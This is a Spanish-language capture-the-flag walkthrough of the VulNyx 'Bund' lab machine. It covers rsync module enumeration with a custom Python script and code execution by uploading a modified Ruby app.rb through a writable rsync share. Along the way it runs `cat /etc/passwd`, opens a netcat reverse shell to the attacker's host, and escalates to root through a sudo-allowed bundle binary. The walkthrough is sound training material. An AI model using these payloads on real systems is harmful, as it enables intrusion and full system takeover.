VulNyx - Bund
- Rsync enumeration - (Rsync/enumRsync.py)
- Modified file upload - (Rsync/app.rb)
- Abusing bundle Binary - (Sudo/Privesc)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.27
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
873/tcp open rsync syn-ack ttl 64
9393/tcp open unknown syn-ack ttl 64
Escaneo de servicios
❯ nmap -sVC -p 22,80,873,9393 172.0.100.27
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.56 (Debian)
873/tcp open rsync (protocol version 31)
9393/tcp open http WEBrick httpd 1.8.1 (Ruby 2.7.4 (2021-07-07))
|_http-server-header: WEBrick/1.8.1 (Ruby/2.7.4/2021-07-07)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
RSYNC TCP - 873
❯ nc -vn 172.0.100.27 873
(UNKNOWN) [172.0.100.27] 873 (rsync) open
@RSYNCD: 31.0
HTTP TCP - 9393
Con la información que me proporciona Hacktricks creo un script en python para enumerar directorios remotos mediante rsync.
#!/usr/bin/env python3
# pip install pwntools
import subprocess
import argparse
from pwn import log, context
context.log_level = 'info'
def run_rsync(target_ip, word):
rsync_command = f'rsync -av --list-only rsync://{target_ip}/{word}'
try:
result = subprocess.run(rsync_command, shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
if result.stdout.strip():
return result.stdout.strip()
return None
except subprocess.CalledProcessError:
return None
def main(target_ip, wordlist_file):
try:
with open(wordlist_file, 'r') as file:
words = file.read().splitlines()
for word in words:
progress = log.progress(f"Checking {word}")
output = run_rsync(target_ip, word)
progress.success("Done")
if output:
log.info(f"Listing for {word}: {output}")
break
except FileNotFoundError:
log.failure(f"Wordlist file '{wordlist_file}' not found.")
except Exception as e:
log.failure(f"An error occurred: {e}")
if __name__ == "__main__":
log.info("")
log.info("===================================")
log.info(" Rsync Enumeration")
log.info("===================================")
log.info("")
parser = argparse.ArgumentParser(description='Run rsync command with wordlist.')
parser.add_argument('-t', '--target-ip', required=True, help='Target IP address for rsync')
parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')
args = parser.parse_args()
main(args.target_ip, args.wordlist)
El script usa el modulo pwn.
pip install pwntools
Con la flag -h
muestra la ayuda.
❯ ./enumRsync.py -h
[*]
[*] ===================================
[*] Rsync Enumeration
[*] ===================================
[*]
usage: enumRsync.py [-h] -t TARGET_IP -w WORDLIST
Run rsync command with wordlist.
options:
-h, --help show this help message and exit
-t TARGET_IP, --target-ip TARGET_IP
Target IP address for rsync
-w WORDLIST, --wordlist WORDLIST
Path to wordlist file
Lanzo enumRsync.py
y encuentro el recurso fileadmin.
❯ ./enumRsync.py -t 172.0.100.27 -w /usr/share/seclists/Discovery/Web-Content/common.txt
El recurso fileadmin contiene 3 archivos y también tiene permisos de lectura, escritura y ejecución. El archivo app.rb
me llama la atención así que lo descargo a mi equipo.
❯ rsync 172.0.100.27::fileadmin/app.rb .
El archivo app.rb
está escrito en ruby, este código define un servidor web básico que responde con Under Construction.
require 'sinatra'
require 'shotgun'
get '/' do
"Under Construction"
end
Modifico el archivo app.rb
para ver si puedo visualizar el archivo passwd.
require 'sinatra'
require 'shotgun'
get '/' do
`cat /etc/passwd`
end
Subo el archivo modificado al servidor.
❯ rsync app.rb 172.0.100.27::fileadmin
Con el navegador me voy a la dirección 172.0.100.27:9393
y veo que ha ejecutado el comando correctamente.
Vuelvo a modificar el archivo app.rb
para obtener una shell mediante netcat.
require 'sinatra'
require 'shotgun'
get '/' do
`nc -c /bin/bash 172.0.100.25 1234`
end
Vuelvo a subir el archivo modificado al servidor.
❯ rsync app.rb 172.0.100.27::fileadmin
Ahora por comodidad uso curl para entablarme la reverse shell.
❯ curl -s 172.0.100.27:9393
Obtengo una shell como usuario axel.
❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [172.0.100.25] from (UNKNOWN) [172.0.100.27] 59496
id
uid=1000(axel) gid=1000(axel) grupos=1000(axel)
Enumero permisos de sudo.
axel@bund:~$ sudo -l
sudo -l
Matching Defaults entries for axel on bund:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User axel may run the following commands on bund:
(root) NOPASSWD: /usr/local/bin/bundle
Busco información del binario bundle en gtfobins.
Obtengo le root de la siguiente forma:
axel@bund:~$ sudo /usr/local/bin/bundle help
Al lanzar bundle help se abre la ayuda.
Ahora escribo !/bin/sh
y pulso enter para obtener el root.
Escribo bash -i para iniciar una nueva instancia de la shell de Bash en modo interactivo.
# bash -i
root@bund:/home/axel# id
uid=0(root) gid=0(root) grupos=0(root)
Y aquí termina la máquina Bund.
Saludos!